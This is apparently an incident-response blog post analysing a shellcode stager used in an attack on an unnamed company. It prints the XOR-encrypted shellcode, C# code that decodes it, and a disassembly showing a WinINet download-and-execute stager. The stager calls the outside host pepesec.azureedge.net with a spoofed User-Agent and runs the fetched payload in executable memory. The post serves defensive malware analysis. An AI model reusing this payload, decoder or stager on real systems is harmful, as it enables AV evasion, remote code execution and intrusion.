This is one of the posts related to the attack on Company X, and it discusses shellcode decryption. A popular technique to avoid AV detection is using simple XOR encryption.
In our case, the attacker used encrypted shellcode, and to understand what code was executed by this shell, I needed to decrypt it first. I don’t remember all the details, but below is the code for shellcode decryption, making this one of the steps.
So, here is the C# code with the shellcode assigned to _shellCode property.
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
namespace ShellDecrypt
{
class Program
{
private static string _shellCode =
"pXza0KnckTRZNBhlGGQLZQ98aOY8fNJmOXzSZkF80mZ5fNJGCXxWgxN-FAWQfGj09Qg4SFsYeXWY_VR1WPW72Qt1CHzSZnm_GwgRNYlS2ExBP1tBK7_ZvFk0WXzc9C1TETWJZNJ8QXDSdHl9WOS6YhHLkHXSANF8WOIUBZB8aPT1dZj9VHVY9WHULMUVNxUQUXFg5SzsAXDSdH19WOQ_ddI4EXDSdEV9WOQYv128ETWJdQF1AWoAbhhsGG0YbhG3tRQYZqbUAXUAbhG_S90Wy6bLBF5ZfedDMFowWjxAWXUPfdDSFb2odeN4LhJey4x8aP0RBYt5aPQUBZB1CXUJdeMOD03-y4zdyjRZNAN80PUYjOI1WTQUBZB1CHUIXlp1CHXjY9Crn8uM3yBvEb2YfGjmEL2BeWj9C1xZBpmwC2YYjrJhdw-m4RG9n3za9wleU2sRvaiORjRZNDM0MbRqNFl90NQYjV00WTQYjixyx7Km4RG9qHzQ7hDzmcumy6Z5aP0LZhiOdDJBT6bh3PRWscQ1WTQRy5Y73bhYNFnf6t29NVk0sbamy6YbbFg6bVl-fwAzR5zplCeySsAaCF0mLiQUxyEVvPdCt_I7cMW-8akHVsf5BrtgEf0PTlXrqpkhHeGTH8Rqoz7PhhG5fYtg62VAK6PJJWQaWWEqUSsZGFM8Wi0OeXk2TjBYNVV2AXcEeRwOXTdQNkMqFBdgeQJ3B2IUDnsOAm0PeUYvDmoFdwRwFB5ROl82G2sEaARpBWkFeXIwRjxSNkx2B2gaaTlTfDZHLQ55RDxEPEc8V3dVI0ErUTxQPlF3WjxAVD5ZYKQNx-szblv5cSBaqasOfumQC97K7fw6bx3J7vgi80Y4vve2s3QoE-OUKd55n7H90M2HwardOogRVSejqRvj1f0A3Fq_zrOTnjjoqktl9E4UXZpR3N_YweeUblcqwdQD8GdokI5ZU272dAV5MasUm_RURJIWiNdTYU94ypwy1bMU72a_L1lZCO0w07emuVH7vc5b0pnv4noJ-oHVv9my9GH3sxD9xglC-pL1SBOZo4PXeY6_WevFG48XbVl158Tslg_LjHxo_eM0WXRZdeE0STRZdeB0WTRZdeNs_We8y4x8ymcKfNDTEb2ofNDuGIxZFFk0EL2gdeMmz727y4x82vB5sZlA71LSMxE1mrGZQY5sAWwRMVk0WTQJ97FLpMumRDxEPEc8V3dVI0ErUTxQPlF3WjxAWTHH_Qo";
public static byte[] xor(byte[] input)
{
char[] key = new char[]
{
'Y',
'4'
};
byte[] result = new byte[input.Length];
for (int i = 0; i < input.Length; i++)
{
result[i] = (byte)(input[i] ^ key[i % key.Length]);
}
return result;
}
static void Main(string[] args)
{
string text = _shellCode.Replace('-', '+').Replace('_', '/');
int num = text.Length % 4;
if (num != 2)
{
if (num == 3)
{
text += "=";
}
}
else
{
text += "==";
}
byte[] array = xor(Convert.FromBase64String(text));
File.WriteAllBytes(@"c:\\temp1\\shell3.bin", array);
}
}
}
The xor
function performs simple XOR encryption/decryption (or obfuscation/de-obfuscation) on a byte array using a two-character key (‘Y’ and ‘4’). The _shellCode
variable already contains the encrypted shellcode, which is not detectable by AV solutions. You can find more information about XOR encryption in the Applied Cryptography book: https://www.schneier.com/books/applied-cryptography/
The disassembled shell’s code is the following
;
; Input SHA256 : A0564AABA245697C958FA1E79A266E3CF5A6F14F7FE828CC60267E86CA5D35C5
; Input MD5 : 1DEFEA7584DC010107461B017AEADD1A
; Input CRC32 : A3A9C724
; ---------------------------------------------------------------------------
; File Name : C:\Disassemble\shell.bin.dmp
; Format : Binary file
; Base Address: 0000h Range: 0000h - 03A7h Loaded length: 03A7h
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
seg000 segment byte public 'CODE' use64
assume cs:seg000
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
cld
and rsp, 0FFFFFFFFFFFFFFF0h
call sub_D2
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, gs:[rdx+60h]
mov rdx, [rdx+18h]
mov rdx, [rdx+20h]
loc_21: ; CODE XREF: seg000:00000000000000CD↓j
mov rsi, [rdx+50h]
movzx rcx, word ptr [rdx+4Ah]
xor r9, r9
loc_2D: ; CODE XREF: seg000:000000000000003E↓j
xor rax, rax
lodsb
cmp al, 61h ; 'a'
jl short loc_37
sub al, 20h ; ' '
loc_37: ; CODE XREF: seg000:0000000000000033↑j
ror r9d, 0Dh
add r9d, eax
loop loc_2D
push rdx
push r9
mov rdx, [rdx+20h]
mov eax, [rdx+3Ch]
add rax, rdx
cmp word ptr [rax+18h], 20Bh
jnz short loc_C7
mov eax, [rax+88h]
test rax, rax
jz short loc_C7
add rax, rdx
push rax
mov ecx, [rax+18h]
mov r8d, [rax+20h]
add r8, rdx
loc_6E: ; CODE XREF: seg000:0000000000000094↓j
jrcxz loc_C6
dec rcx
mov esi, [r8+rcx*4]
add rsi, rdx
xor r9, r9
loc_7D: ; CODE XREF: seg000:000000000000008A↓j
xor rax, rax
lodsb
ror r9d, 0Dh
add r9d, eax
cmp al, ah
jnz short loc_7D
add r9, [rsp+8]
cmp r9d, r10d
jnz short loc_6E
pop rax
mov r8d, [rax+24h]
add r8, rdx
mov cx, [r8+rcx*2]
mov r8d, [rax+1Ch]
add r8, rdx
mov eax, [r8+rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 20h
push r10
jmp rax
; ---------------------------------------------------------------------------
loc_C6: ; CODE XREF: seg000:loc_6E↑j
pop rax
loc_C7: ; CODE XREF: seg000:0000000000000053↑j
; seg000:000000000000005E↑j
pop r9
pop rdx
mov rdx, [rdx]
jmp loc_21
; =============== S U B R O U T I N E =======================================
sub_D2 proc near ; CODE XREF: seg000:0000000000000005↑p
pop rbp
push 0
mov r14, 74656E696E6977h
push r14
mov r14, rsp
mov rcx, r14
mov r10d, 726774Ch ; LoadLibrary
call rbp
xor rcx, rcx
xor rdx, rdx
xor r8, r8
xor r9, r9
push r8
push r8
mov r10d, 0A779563Ah
call rbp
jmp loc_19F
sub_D2 endp
; =============== S U B R O U T I N E =======================================
sub_10C proc near ; CODE XREF: sub_12B:loc_388↓p
pop rdx
mov rcx, rax
mov r8d, 1BBh
xor r9, r9
push r9
push r9
push 3
push r9
mov r10d, 0C69F8957h
call rbp
jmp short near ptr dword_1A4
sub_10C endp
; =============== S U B R O U T I N E =======================================
sub_12B proc near
pop rbx
mov rcx, rax
xor rdx, rdx
mov r8, rbx
xor r9, r9
push rdx
push 0FFFFFFFF84C03200h
push rdx
push rdx
mov r10d, 3B2E55EBh
call rbp
mov rsi, rax
add rbx, 50h ; 'P'
push 0Ah
pop rdi
loc_152: ; CODE XREF: sub_12B+72↓j
mov rcx, rsi
mov edx, 1Fh
push 0
push 3380h
mov r8, rsp
mov r9d, 4
mov r10d, 869E4675h
call rbp
mov rcx, rsi
mov rdx, rbx
mov r8, 0FFFFFFFFFFFFFFFFh
xor r9, r9
push rdx
push rdx
mov r10d, 7B18062Dh
call rbp
test eax, eax
jnz loc_331
dec rdi
jz loc_329
jmp short loc_152
; ---------------------------------------------------------------------------
loc_19F: ; CODE XREF: sub_D2+35↑j
jmp loc_388
; ---------------------------------------------------------------------------
dword_1A4 dd 0FFFF82E8h ; CODE XREF: sub_10C+1D↑j
; ---------------------------------------------------------------------------
jmp fword ptr [rdi]
; ---------------------------------------------------------------------------
db 35h ; 5
db 6Ch ; l
dd 4A005963h
db 26h ; &
db 34h ; 4
db 6Ah ; j
db 73h ; s
db 0C5h
db 0DDh
db 0CDh
db 13h
db 0EBh
db 7Eh ; ~
db 99h
db 2Eh ; .
db 51h ; Q
db 69h ; i
db 7Fh ;
db 1Ah
db 7Dh ; }
db 20h
dw 159Eh, 884Ch, 76AEh
db 0EEh
db 0C6h, 62h, 44h, 9Ch, 8Ah, 0A8h, 9Dh
db 5Eh ; ^
db 62h, 9Eh, 0CDh, 5Fh, 8Fh, 39h, 25h
db 0A4h
db 3Bh, 17h, 61h, 0B2h, 9Eh, 0C0h, 15h
db 44h ; D
db 0D5h, 0CAh, 2Bh, 9Dh, 5Eh, 0FAh, 0Ah
db 96h
db 0B2h, 48h, 8Dh, 24h, 0BFh, 39h, 0DFh
db 3Ch ; <
db 74h ; t
dw 9772h, 1190h, 2E3Dh
db 0
db 55h ; U
aSerAgentMozill db 'ser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/201'
db '00101 Firefox/31.0',0Dh,0Ah
db 'Host: pepesec.azureedge.net',0Dh,0Ah,0
db 54h ; T
dw 39FDh
db 9Eh
db 0DFh, 6Ah, 5Ah, 2, 0CDh, 28h, 14h
db 3
db 9Dh, 0F2h, 3Ah, 27h, 0DDh, 0C9h, 3Fh
db 87h
db 0FEh, 0B4h, 0C8h, 63h, 5Bh, 44h, 0FDh
dq 0C3E70C1FC77BCCB7h, 1DCDD74A1C2D87EFh, 0B394E4A485C64D87h
dq 130C25D10E849E98h, 0E859C98CD7429DFAh, 0DC61AACA87978B03h
dq 0AE042017C03C7FF3h, 5ACDD398EC86E808h, 5C3EC45AE0981E0Eh
dq 312DC2376700BAC9h, 700DC0C220F20520h, 4C16550AE3D122CBh
dq 52B620EAE16BA893h, 0E769D9516D001BE6h, 6F9789A265E092EEh
dq 0B5A33D23D6B6AD8Bh, 87AE55AD86808B8Ch, 0C1CBCE1B3D9FC949h
dq 0BA20E3DA97C02711h, 594EBB42F1B26DE6h
db 0
; ---------------------------------------------------------------------------
loc_329: ; CODE XREF: sub_12B+6C↑j
; sub_12B+246↓j
mov r14d, 56A2B5F0h
call rbp
loc_331: ; CODE XREF: sub_12B+63↑j
; VirtualAlloc(0,0x400000,0x1000,0x40)
xor rcx, rcx
mov edx, 400000h ; dwSize about 4Mb
mov r8d, 1000h ;MEM_COMMIT
mov r9d, 40h ; PAGE_EXECUTE_READWRITE
mov r10d, 0E553A458h ; VirtualAlloc
call rbp
xchg rax, rbx
push rbx
push rbx
mov rdi, rsp
loc_354: ; CODE XREF: sub_12B+250↓j
mov rcx, rsi
mov rdx, rbx
mov r8d, 2000h
mov r9, rdi
mov r10d, 0E2899612h
call rbp
add rsp, 20h
test eax, eax
jz short loc_329
mov ax, [rdi]
add rbx, rax
test eax, eax
jnz short loc_354
pop rax
pop rax
pop rax
add rax, 0
push rax
retn
; ---------------------------------------------------------------------------
loc_388: ; CODE XREF: sub_12B:loc_19F↑j
call sub_10C
jo short near ptr 3F4h
jo short near ptr 3F6h
jnb short near ptr 3F8h
movsxd ebp, dword ptr [rsi]
sub_12B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 61h ; a
db 7Ah ; z
db 75h ; u
db 72h ; r
db 65h ; e
db 65h ; e
db 64h ; d
db 67h ; g
db 65h ; e
db 2Eh ; .
db 6Eh ; n
db 65h, 74h, 0, 5, 9Eh, 0C9h, 53h
seg000 ends
end
Its purpose is to load part of the payload from pepesec.azureedge.net allocate memory using VirtualAlloc with PAGE_EXECUTE_READWRITE
that would allow to pass execution to the injected code.
It uses WinINet herebecause many companies use proxies to interact with external networks, and those proxies often require Kerberos/NTLM authentication in the Windows world. WinINet simplify access to the internet without needing to know the AD user’s login and password.
Additionally, they explicitly set the User-Agent information to avoid detection. However, this User-Agent was not typical in our case.